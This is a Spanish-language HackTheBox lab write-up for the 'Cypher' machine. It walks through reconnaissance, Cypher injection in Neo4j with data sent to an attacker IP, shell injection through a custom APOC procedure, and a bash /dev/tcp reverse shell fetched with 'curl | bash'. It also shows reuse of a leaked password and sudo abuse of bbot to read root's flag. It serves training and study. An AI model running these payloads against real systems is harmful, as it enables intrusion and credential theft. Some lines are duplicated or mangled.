> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Writeup de Cypher en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**Habilidades:**

* Ingeniería inversa de archivos Java .jar con JD-GUI
* Análisis de vulnerabilidades de código Java personalizado
* Inyección Cypher en Neo4j
* Ejecución remota de código (RCE) a través de entrada no sanitizada
* Enumeración post-explotación y reutilización de credenciales
* Escalada de privilegios a través de permisos sudo mal configurados
* Extracción segura de la flag y procedimientos de limpieza
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/e6dc2e8f0e76663f304c18e954b26810ba67f1f9" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/0b28aaafa608cdfcb687bab298e9923a51fce898" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="/files/49375e6678328b8b815c87356cc17a0a001a9bc8" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="/files/b98e8dac9a1c233e042bc5a5dcf50e57acc38f0e" alt=""><figcaption></figcaption></figure>

Luego se añade la IP a nuestro `/etc/hosts` archivo:

<figure><img src="/files/9105cec20b44858e3ff481f319ddbb4469950555" alt="" width="563"><figcaption></figcaption></figure>

### Análisis web - Puerto 80 (HTTP)

<figure><img src="/files/85bfb27ec87b35d28ff5c9e496b0a856e7686d9f" alt=""><figcaption></figcaption></figure>

**Gobuster** se utiliza para listar directorios:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/d0eb094aab624982b87f862e9d9a3594712c3dc4" alt=""><figcaption></figcaption></figure>

El `/testing` el directorio contiene un `.jar` archivo. Extraemos:

<figure><img src="/files/61facc08d31d7eefe53fdf1cdb74329e507c5b85" alt=""><figcaption></figcaption></figure>

Inspecciona la estructura con `tree` y abre el `.jar` por **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="/files/fa59c10c107264d615bf4f3d6f488089034eb435" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4d81285fbab46c944cfcfd9d6439656ad9650cb0" alt=""><figcaption></figcaption></figure>

Descubrimos un comando vulnerable:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="/files/b1cf9182d1b911f5ec0cc41d5bf944dc23b39578" alt=""><figcaption></figcaption></figure>

**Vulnerabilidad**: la URL no se escapa, lo que permite una /*/* shell/*/* inyección.

## Inyección Cypher en Neo4j

Un formulario de inicio de sesión es vulnerable. Aparece un error cuando entre `'`.

<figure><img src="/files/417329edf6c94ba09387c0150720f0fd72791780" alt=""><figcaption></figcaption></figure>

Inyectamos un payload Cypher para recuperar la versión de Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="/files/84af86ea90128558e88051f9332642f4f6da3405" alt=""><figcaption></figcaption></figure>

En nuestro servidor, recibimos la solicitud:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="/files/b77404b216cfd1a6f3154248baea13d7513c60bb" alt=""><figcaption></figcaption></figure>

### NCE mediante llamada a `custom.getUrlStatusCode()`

<figure><img src="/files/bfd344ceb1f735a6e60523ec2b8005f98d2542ea" alt=""><figcaption></figcaption></figure>

Coloca una reverse shell en `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

Coloca una reverse shell en `index.html`:

```bash
nc -nlvp 443
```

Usa la inyección conjunta para llamar a esta **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="/files/3b47ed49ceffa6abe9a326dfe7c743371761228b" alt=""><figcaption></figcaption></figure>

#### Mejora de la shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting - Usuario Graphasm

En `/home/graphasm/` hay un `pwn.py` archivo que contiene una contraseña

<figure><img src="/files/3e3b3d3de1415f502994a18d94807e0e57fe6a37" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### Reutilización de contraseña

### Bandera user.txt :)

<figure><img src="/files/17922327d641c7731c68a52b25bd49a275e76803" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### Sudo - bbot (binario)

Auditoría de sudo de fees:

```bash
sudo -l 
```

El usuario puede ejecutar `/usr/local/bin/bbot` como root.

<figure><img src="/files/305e7319ae7b016c1d44762ff6c184035135164c" alt=""><figcaption></figcaption></figure>

Contenido de `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/579a7b92485f1c5a19aa97a869d224580ef6288e" alt=""><figcaption></figcaption></figure>

### Explotación:

Este script simplemente transmite argumentos a la función principal de `bbot`. Como podemos controlar los argumentos proporcionados, podemos usar una función de `bbot` para reproducir cualquier archivo — incluidos aquellos que solo son accesibles por el usuario **root**.

Después de consultar la ayuda o la documentación para usar `bbot`, identificamos opciones para especificar un archivo de destino y un directorio de salida:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Explicación:**

* `-t /root/root.txt`: establece el archivo de destino que se procesará.
* `-o /tmp/root`: especifica el directorio de salida (donde se almacenarán los resultados).
* `-d`: habilita el modo de depuración, por si se necesita información adicional.

Como el script se ejecuta con los **root** privilegios y no se realiza ninguna validación de las entradas ns, esto nos permite reproducir archivos arbitrarios, incluido el archivo final que contiene la **flag de root**.

<figure><img src="/files/f9cf61c8e57febb48216715cf1c791ca5917ac67" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="/files/3482feef54008136912b91b9286b61160d4ab8e3" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
